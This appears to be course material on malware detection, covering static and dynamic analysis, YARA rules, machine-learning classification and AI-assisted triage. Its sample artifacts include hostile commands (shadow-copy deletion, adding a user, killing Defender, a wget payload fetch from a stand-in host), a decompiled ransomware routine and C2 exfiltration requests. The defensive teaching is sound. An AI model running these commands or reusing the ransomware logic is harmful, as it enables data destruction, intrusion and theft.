Malware Detection & Classification

From static signatures to AI-powered analysis — building the defender's toolkit for identifying, classifying, and writing detection rules for malicious software.

Why Malware Analysis Matters

• 560,000+ new malware samples detected daily by AV-TEST Institute
• Incident response — understanding what happened and how far the compromise spread
• Detection engineering — writing signatures and rules to catch variants
• Threat intelligence — attributing campaigns and tracking adversary TTPs
• CTF competitions — reverse engineering challenges require rapid triage and classification

Malware Taxonomy

Malware Taxonomy — Deeper Look

Analysis Approaches Overview

Static Analysis — File Hashes

The first step: compute cryptographic hashes to identify known malware via threat intelligence databases.

# Compute hashes of a suspicious file
$ md5sum suspicious.exe
a1b2c3d4e5f6789012345678abcdef01  suspicious.exe

$ sha256sum suspicious.exe
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  suspicious.exe

# Query VirusTotal via API
$ curl -s "https://www.virustotal.com/api/v3/files/e3b0c442..." \
    -H "x-apikey: $VT_API_KEY" | jq '.data.attributes.last_analysis_stats'
{
  "malicious": 48,
  "suspicious": 3,
  "undetected": 12,
  "harmless": 0
}

Static Analysis — Strings Extraction

Extracting strings reveals embedded URLs, file paths, registry keys, encryption keys, and error messages left by malware authors.

# Extract strings from a suspicious binary
$ strings -n 8 suspicious.exe | head -40
!This program cannot be run in DOS mode.
C:\Users\admin\AppData\Local\Temp\payload.dll
http://185.243.115[.]42/gate.php
Mozilla/5.0 (Windows NT 10.0; Win64; x64)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
cmd.exe /c schtasks /create /tn "WindowsUpdate"
RegSetValueExA
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
NtUnmapViewOfSection
powershell -enc JABjAGwAaQBlAG4AdAAgAD0A...
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEA2f8k...
SOFTWARE\Microsoft\Cryptography\MachineGuid
taskkill /f /im MsMpEng.exe
net user hacker P@ssw0rd123 /add

Static Analysis — PE Header Inspection

The Portable Executable (PE) header reveals compilation details, section layout, and imported functionality.

# Using pefile (Python) to inspect PE headers
$ python3 -c "
import pefile
pe = pefile.PE('suspicious.exe')
print(f'Compile Time: {pe.FILE_HEADER.TimeDateStamp}')
print(f'Sections: {len(pe.sections)}')
for s in pe.sections:
    name = s.Name.decode().rstrip('\\x00')
    entropy = s.get_entropy()
    print(f'  {name:8s} size={s.SizeOfRawData:8d}  entropy={entropy:.2f}')
"
Compile Time: 1709251200  (2024-03-01 00:00:00)
Sections: 5
  .text    size=  204800  entropy=6.42
  .rdata   size=   51200  entropy=5.18
  .data    size=   12288  entropy=4.91
  .rsrc    size=    4096  entropy=3.22
  .packed  size=  819200  entropy=7.98

Static Analysis — Import Table Analysis

Imported Windows API functions reveal the malware's intended capabilities.

Dynamic Analysis — Sandboxing

Execute the sample in an isolated environment and observe its behavior without risk to production systems.

Dynamic Analysis — Behavioral Indicators

Sandbox reports reveal malicious behaviors. Here is a realistic behavioral summary:

sample: suspicious.exe
sha256: e3b0c44298fc1c149afbf4c8996fb924...
verdict: MALICIOUS (score: 92/100)

behaviors:
  persistence:
    - Registry Run key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost
    - Scheduled task: "WindowsUpdate" every 5 minutes
    - Dropped to: C:\Users\admin\AppData\Roaming\svchost.exe

  process_injection:
    - Technique: Process Hollowing (T1055.012)
    - Target: explorer.exe (PID 4892)
    - APIs: NtUnmapViewOfSection → VirtualAllocEx → WriteProcessMemory

  network:
    - DNS: update.microsoft-cdn[.]xyz → 185.243.115.42
    - HTTP POST: /gate.php (every 30s, 256-byte encrypted payload)
    - Exfil: /upload.php (large POST after file enumeration)

  defense_evasion:
    - Disabled Windows Defender via registry
    - Timestomped dropped files to match system32 dates
    - Deleted shadow copies: vssadmin delete shadows /all

Dynamic Analysis — API Call Monitoring

API traces reveal the exact sequence of system interactions. Here is a partial trace from a process injection attack:

PID: 3412 (suspicious.exe)
[00:00.012] CreateFileA("C:\Windows\System32\svchost.exe", GENERIC_READ)
[00:00.015] ReadFile(handle=0x1A4, buffer=0x00400000, size=245760)
[00:00.031] CreateProcessA("svchost.exe", CREATE_SUSPENDED) → PID 5288
[00:00.045] NtUnmapViewOfSection(PID 5288, 0x00400000)
[00:00.048] VirtualAllocEx(PID 5288, 0x00400000, 0x50000, MEM_COMMIT)
[00:00.052] WriteProcessMemory(PID 5288, 0x00400000, payload, 327680)
[00:00.061] SetThreadContext(PID 5288, EntryPoint=0x00401230)
[00:00.063] ResumeThread(PID 5288)
--- Process 5288 (hollowed svchost.exe) now executing malicious code ---
[00:00.120] InternetOpenA("Mozilla/5.0 ...")
[00:00.250] InternetConnectA("185.243.115[.]42", 80)
[00:00.310] HttpSendRequestA("POST", "/gate.php", encrypted_blob)

Registry Modifications — Key Indicators

Malware frequently modifies the Windows registry for persistence, defense evasion, and configuration storage.

# Persistence
[SET] HKCU\Software\Microsoft\Windows\CurrentVersion\Run
      "WindowsDefenderUpdate" = "C:\Users\admin\AppData\Roaming\svchost.exe"

# Disable Security
[SET] HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
      "DisableAntiSpyware" = DWORD:1
[SET] HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
      "DisableRealtimeMonitoring" = DWORD:1

# Disable UAC
[SET] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
      "EnableLUA" = DWORD:0

# Store encrypted C2 config
[SET] HKCU\Software\Classes\CLSID\{73E709AC-4B1A}
      "Data" = HEX:4D5A90000300000004000000FFFF...

Using AI for Malware Analysis

Large language models excel at pattern recognition across malware artifacts. They can accelerate triage that would take analysts hours.

AI Analysis — Strings Triage Prompt

Feed extracted strings to an LLM for rapid classification and IoC identification.

PROMPT:
You are a malware analyst. Analyze these strings extracted from a
suspicious PE binary and provide:
1. Likely malware classification (type and family if possible)
2. Key indicators of compromise (IPs, domains, file paths)
3. MITRE ATT&CK techniques observed
4. Confidence level and reasoning

STRINGS OUTPUT:
http://185.243.115[.]42/gate.php
Mozilla/5.0 (Windows NT 10.0; Win64; x64)
cmd.exe /c schtasks /create /tn "WindowsUpdate" /sc minute /mo 5
RegSetValueExA
VirtualAllocEx / WriteProcessMemory / CreateRemoteThread
powershell -enc JABjAGwAaQBlAG4AdAAgAD0A...
CryptEncrypt / CryptGenKey
vssadmin delete shadows /all /quiet
.locked
YOUR_FILES_HAVE_BEEN_ENCRYPTED.txt
bitcoin:bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh

AI Analysis — Decompiled Code Review

LLMs can explain decompiled pseudocode from Ghidra or IDA Pro, identifying malicious functionality.

// Ghidra decompiled output — function at 0x00401230
void FUN_00401230(void) {
    char *key = "S3cr3tK3y!@#";
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnap, &pe)) {
        do {
            if (strcmp(pe.szExeFile, "MsMpEng.exe") == 0 ||
                strcmp(pe.szExeFile, "avgnt.exe") == 0 ||
                strcmp(pe.szExeFile, "mbam.exe") == 0) {
                HANDLE hProc = OpenProcess(PROCESS_TERMINATE, 0, pe.th32ProcessID);
                TerminateProcess(hProc, 0);
            }
        } while (Process32Next(hSnap, &pe));
    }
    // After killing AV, iterate drives and encrypt files
    for (char drive = 'C'; drive <= 'Z'; drive++) {
        encrypt_drive(drive, key);
    }
}

AI identifies: AV process termination (T1562.001) followed by full-drive encryption (T1486). The hardcoded XOR key S3cr3tK3y!@# may enable decryption.

YARA Rules — Introduction

YARA is the pattern-matching language for malware detection. Rules combine string patterns, byte sequences, and conditions to identify malware families.

rule ExampleRule {
    meta:
        author = "Analyst"
        description = "Detects Example Malware"
        date = "2024-03-01"

    strings:
        $s1 = "malicious string" ascii
        $s2 = { 4D 5A 90 00 03 00 00 00 }   // MZ header bytes
        $s3 = /https?:\/\/[a-z0-9\-\.]+\/gate\.php/ nocase

    condition:
        uint16(0) == 0x5A4D and     // File starts with MZ
        filesize < 5MB and
        2 of ($s1, $s2, $s3)
}

YARA Rule — Ransomware Detection

A realistic YARA rule targeting the ransomware sample we analyzed earlier.

rule Ransomware_CustomLocker_2024 {
    meta:
        author = "BlueTeam CTF"
        description = "Detects CustomLocker ransomware variant"
        date = "2024-03-15"
        severity = "critical"
        mitre_attack = "T1486, T1490, T1055"

    strings:
        // C2 communication
        $c2_url = "gate.php" ascii wide
        $c2_ip = "185.243.115" ascii

        // Ransom note indicators
        $ransom1 = "YOUR_FILES_HAVE_BEEN_ENCRYPTED" ascii wide nocase
        $ransom2 = ".locked" ascii
        $ransom3 = /bitcoin:bc1[a-z0-9]{38,62}/ ascii

        // Shadow copy deletion
        $del_shadow = "vssadmin delete shadows" ascii nocase

        // AV killing
        $av_kill1 = "MsMpEng.exe" ascii
        $av_kill2 = "taskkill /f /im" ascii

        // Process injection APIs
        $inject1 = "VirtualAllocEx" ascii
        $inject2 = "WriteProcessMemory" ascii
        $inject3 = "CreateRemoteThread" ascii

        // Encryption
        $crypto = "S3cr3tK3y!@#" ascii

    condition:
        uint16(0) == 0x5A4D and
        filesize < 10MB and
        (
            ($c2_url and $c2_ip) or
            (2 of ($ransom*)) or
            ($del_shadow and any of ($inject*)) or
            ($crypto and any of ($ransom*))
        )
}

YARA Rule — Process Injection Detection

Detecting common process injection techniques with byte-level patterns.

rule ProcessInjection_Hollowing {
    meta:
        author = "BlueTeam CTF"
        description = "Detects process hollowing technique"
        mitre_attack = "T1055.012"

    strings:
        // API call sequence for process hollowing
        $api1 = "NtUnmapViewOfSection" ascii
        $api2 = "VirtualAllocEx" ascii
        $api3 = "WriteProcessMemory" ascii
        $api4 = "SetThreadContext" ascii
        $api5 = "ResumeThread" ascii
        $api6 = "CreateProcessA" ascii

        // CREATE_SUSPENDED flag (0x00000004)
        $suspended = { 04 00 00 00 }

        // Common hollowing targets
        $target1 = "svchost.exe" ascii wide nocase
        $target2 = "explorer.exe" ascii wide nocase
        $target3 = "rundll32.exe" ascii wide nocase

    condition:
        uint16(0) == 0x5A4D and
        4 of ($api*) and
        any of ($target*)
}

AI-Assisted YARA Rule Writing

Use LLMs to generate, improve, and validate YARA rules from analysis findings.

PROMPT:
I found these indicators from a malware sample. Write a YARA rule:

- SHA256: a1b2c3d4...
- Strings: "cmd.exe /c net user", "mimikatz", "sekurlsa::logonpasswords"
- Drops DLL to %TEMP%\msupdate.dll
- Connects to evil-domain[.]xyz on port 8443
- Uses XOR key 0x3F for string obfuscation
- Compiled with MinGW, UPX packed
- Contains PDB path: C:\Users\dev\source\stealer\Release\stealer.pdb

// AI-generated YARA rule
rule Stealer_Mimikatz_Dropper {
    meta:
        author = "AI-Assisted Analysis"
        description = "Credential stealer with embedded Mimikatz"
        hash = "a1b2c3d4..."

    strings:
        $pdb = "\\stealer\\Release\\stealer.pdb" ascii
        $mimi1 = "sekurlsa::logonpasswords" ascii wide
        $mimi2 = "mimikatz" ascii wide nocase
        $drop = "msupdate.dll" ascii wide
        $c2 = "evil-domain" ascii
        $cmd = "net user" ascii
        $upx = "UPX!" ascii  // UPX packer signature

    condition:
        uint16(0) == 0x5A4D and
        ($upx at (filesize - 0x28)) and
        (($pdb) or (2 of ($mimi*, $drop, $c2, $cmd)))
}

IoC Extraction & Enrichment with AI

Indicators of Compromise (IoCs) are the atomic evidence of a breach. AI excels at extracting and contextualizing them from unstructured data.

VirusTotal-Style Report Analysis

LLMs can parse and summarize multi-vendor detection results to accelerate triage.

{
  "sha256": "e3b0c44298fc1c149afbf4c8996fb924...",
  "file_name": "invoice_march2024.exe",
  "file_size": 1245184,
  "file_type": "PE32 executable (GUI) Intel 80386",
  "detection_stats": {
    "malicious": 48, "suspicious": 3, "undetected": 12
  },
  "vendor_detections": {
    "CrowdStrike": "Win/Ransomware.CustomLocker",
    "Microsoft": "Ransom:Win32/CustomLock.A!cl",
    "Kaspersky": "Trojan-Ransom.Win32.CustomLocker.gen",
    "Sophos": "Troj/Ransom-QKL",
    "ESET": "Win32/Filecoder.CustomLocker.A"
  },
  "first_seen": "2024-03-01T14:22:00Z",
  "community_score": -47,
  "tags": ["peexe", "upx", "ransomware", "drops-files"],
  "contacted_domains": ["update.microsoft-cdn.xyz"],
  "contacted_ips": ["185.243.115.42"]
}

Network IoCs — Deep Dive

Network indicators from PCAP analysis and sandbox output reveal command-and-control patterns.

# DNS Queries (from sandbox)
2024-03-15 10:22:01  A     update.microsoft-cdn[.]xyz → 185.243.115.42
2024-03-15 10:22:15  A     api.legit-service[.]top    → 91.215.85.17
2024-03-15 10:23:00  TXT   check.miner-pool[.]cc      → "stratum+tcp://..."

# HTTP Traffic
POST /gate.php HTTP/1.1
Host: 185.243.115[.]42
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/octet-stream
Content-Length: 256
[encrypted_beacon_data]

# Exfiltration (later in timeline)
POST /upload.php HTTP/1.1
Host: 185.243.115[.]42
Content-Length: 4194304
X-Campaign-ID: CAMP-2024-0315
[stolen_data_archive]

Machine Learning for Malware Classification

Beyond signatures and rules, ML models can classify malware at scale using features extracted from samples.

Feature Engineering Approaches

ML Classification Pipeline

import numpy as np
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report

# Feature vector: [entropy, import_count, string_count,
#                  file_size, has_upx, suspicious_api_count,
#                  section_count, avg_section_entropy]
X = np.array([
    [7.98, 42, 380, 1245184, 1, 8, 5, 6.54],  # ransomware
    [6.12, 28, 150, 524288,  0, 3, 4, 5.21],   # benign
    [7.85, 55, 290, 819200,  1, 12, 6, 7.01],  # trojan-rat
    [5.90, 15, 95,  102400,  0, 1, 3, 4.88],   # benign
    # ... thousands more samples
])
y = ["ransomware", "benign", "trojan-rat", "benign", ...]

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
clf = RandomForestClassifier(n_estimators=200, max_depth=15)
clf.fit(X_train, y_train)

print(classification_report(y_test, clf.predict(X_test)))
# Typical accuracy: 95-98% on known families

ML Approaches Comparison

MITRE ATT&CK Mapping with AI

The MITRE ATT&CK framework provides a structured taxonomy of adversary techniques. AI can automatically map observed behaviors to ATT&CK.

PROMPT:
Map these observed malware behaviors to MITRE ATT&CK techniques:

1. Creates scheduled task "WindowsUpdate" for persistence
2. Injects code into explorer.exe via process hollowing
3. Disables Windows Defender via registry modification
4. Queries http://ip-api.com/json for geolocation
5. Encrypts files on all drives with .locked extension
6. Deletes volume shadow copies
7. Drops ransom note to every directory
8. Exfiltrates data to C2 before encryption

Threat Intelligence Integration

Connecting malware analysis findings to broader threat intelligence accelerates response and attribution.

# Quick enrichment script
import requests

def enrich_ip(ip, vt_key, abuseipdb_key):
    vt = requests.get(f"https://www.virustotal.com/api/v3/ip_addresses/{ip}",
                      headers={"x-apikey": vt_key}).json()
    abuse = requests.get("https://api.abuseipdb.com/api/v2/check",
                         params={"ipAddress": ip},
                         headers={"Key": abuseipdb_key}).json()
    return {
        "ip": ip,
        "vt_malicious": vt["data"]["attributes"]["last_analysis_stats"]["malicious"],
        "abuse_score": abuse["data"]["abuseConfidenceScore"],
        "country": abuse["data"]["countryCode"],
    }

YARA Rule — Cryptominer Detection

Detecting cryptomining malware that hijacks system resources.

rule Cryptominer_Generic {
    meta:
        author = "BlueTeam CTF"
        description = "Detects cryptocurrency mining malware"
        mitre_attack = "T1496"

    strings:
        // Mining pool protocols
        $stratum1 = "stratum+tcp://" ascii wide
        $stratum2 = "stratum+ssl://" ascii wide

        // Common mining pool domains
        $pool1 = "pool.minexmr.com" ascii
        $pool2 = "xmrpool.eu" ascii
        $pool3 = "monerohash.com" ascii
        $pool4 = "nanopool.org" ascii

        // XMRig indicators
        $xmrig1 = "xmrig" ascii nocase
        $xmrig2 = "randomx" ascii nocase
        $xmrig3 = "cryptonight" ascii nocase

        // Wallet address patterns (Monero)
        $wallet = /4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}/ ascii

        // CPU/GPU mining indicators
        $hw1 = "huge_pages" ascii
        $hw2 = "gpu-threads" ascii
        $hw3 = "cpu-priority" ascii

    condition:
        (any of ($stratum*) and any of ($pool*)) or
        (2 of ($xmrig*)) or
        ($wallet and any of ($stratum*))
}

YARA Rule — Cobalt Strike Beacon

Detecting one of the most common post-exploitation tools found in enterprise compromises.

rule CobaltStrike_Beacon_Generic {
    meta:
        author = "BlueTeam CTF"
        description = "Detects Cobalt Strike Beacon payloads"
        mitre_attack = "T1071.001, T1573"
        severity = "critical"

    strings:
        // Default named pipes
        $pipe1 = "\\\\.\\pipe\\msagent_" ascii
        $pipe2 = "\\\\.\\pipe\\MSSE-" ascii
        $pipe3 = "\\\\%s\\pipe\\%s" ascii

        // Beacon config markers
        $cfg1 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 }
        $cfg2 = { 69 68 69 68 69 6B 69 6B 69 6A }

        // Reflective loader
        $loader = "ReflectiveLoader" ascii
        $mz_ref = { 4D 5A 41 52 55 48 89 E5 }

        // Sleep mask
        $sleep = "SleepMask" ascii

        // Common watermark
        $watermark = { 01 00 00 00 ?? ?? ?? ?? 02 00 00 00 }

    condition:
        (any of ($pipe*) and any of ($cfg*)) or
        ($loader and $mz_ref) or
        (2 of ($cfg*) and $sleep)
}

Building a Detection Pipeline

Combining all techniques into an automated malware analysis and detection workflow.

┌─────────────┐     ┌──────────────┐     ┌─────────────────┐
│  Sample      │────▶│  Static      │────▶│  YARA Scan      │
│  Ingestion   │     │  Analysis    │     │  (500+ rules)   │
└─────────────┘     │  - hashes    │     └────────┬────────┘
                    │  - strings   │              │
                    │  - PE headers│     ┌────────▼────────┐
                    └──────────────┘     │  ML Classifier   │
                                         │  (XGBoost)       │
┌─────────────┐     ┌──────────────┐     └────────┬────────┘
│  Sandbox     │────▶│  Dynamic     │              │
│  (CAPEv2)   │     │  Analysis    │     ┌────────▼────────┐
└─────────────┘     │  - API trace │     │  LLM Triage      │
                    │  - network   │     │  (Claude/GPT)    │
                    │  - behavior  │     └────────┬────────┘
                    └──────────────┘              │
                                         ┌────────▼────────┐
                                         │  Threat Intel    │
                                         │  Enrichment      │
                                         │  - VT, MISP      │
                                         │  - ATT&CK map    │
                                         └────────┬────────┘
                                                  │
                                         ┌────────▼────────┐
                                         │  Alert / Report  │
                                         │  Generation      │
                                         └─────────────────┘

ELF Malware — Linux Considerations

Linux malware is increasingly common, targeting cloud infrastructure, containers, and IoT devices.

# ELF header analysis
$ readelf -h suspicious_elf
ELF Header:
  Class:                           ELF64
  Type:                            EXEC (Executable file)
  Machine:                         Advanced Micro Devices X86-64

# Check for static linking (common in Go/Rust malware)
$ file suspicious_elf
suspicious_elf: ELF 64-bit LSB executable, x86-64, statically linked,
Go BuildID=abc123..., stripped

# Extract Go build metadata
$ go version suspicious_elf
suspicious_elf: go1.21.5

# Look for embedded strings
$ strings suspicious_elf | grep -i "cron\|ssh\|/tmp\|wget\|curl"
/var/spool/cron/crontabs/root
/root/.ssh/authorized_keys
/tmp/.X11-unix/.cache
wget -q http://evil[.]xyz/payload.sh -O /tmp/.update

Anti-Analysis Techniques

Understanding how malware evades analysis helps you bypass these protections.

CTF Challenge: Malware Classification & Detection

You are given five unknown samples. For each sample, you must:

1. Classify — determine the malware type and family
2. Extract IoCs — identify all network, file, and registry indicators
3. Map to ATT&CK — identify at least 3 MITRE techniques per sample
4. Write YARA rules — create a detection rule for each sample
5. Generate report — produce a concise analyst report using AI assistance

Samples

CTF Challenge — Scoring Rubric

Key Takeaways

• Malware is diverse — modern threats blend multiple categories (trojan + RAT + ransomware)
• Static before dynamic — always triage with hashes, strings, and headers before executing in a sandbox
• YARA is essential — the lingua franca of malware detection; combine string, byte, and condition logic
• AI accelerates analysis — feed strings, API traces, and decompiled code to LLMs for rapid triage and classification
• ML scales detection — gradient boosting on static/dynamic features handles volume that humans cannot
• ATT&CK provides structure — map every behavior to a technique for consistent reporting and threat intel sharing
• Layer your defenses — YARA rules + ML classifiers + LLM triage + threat intel = comprehensive detection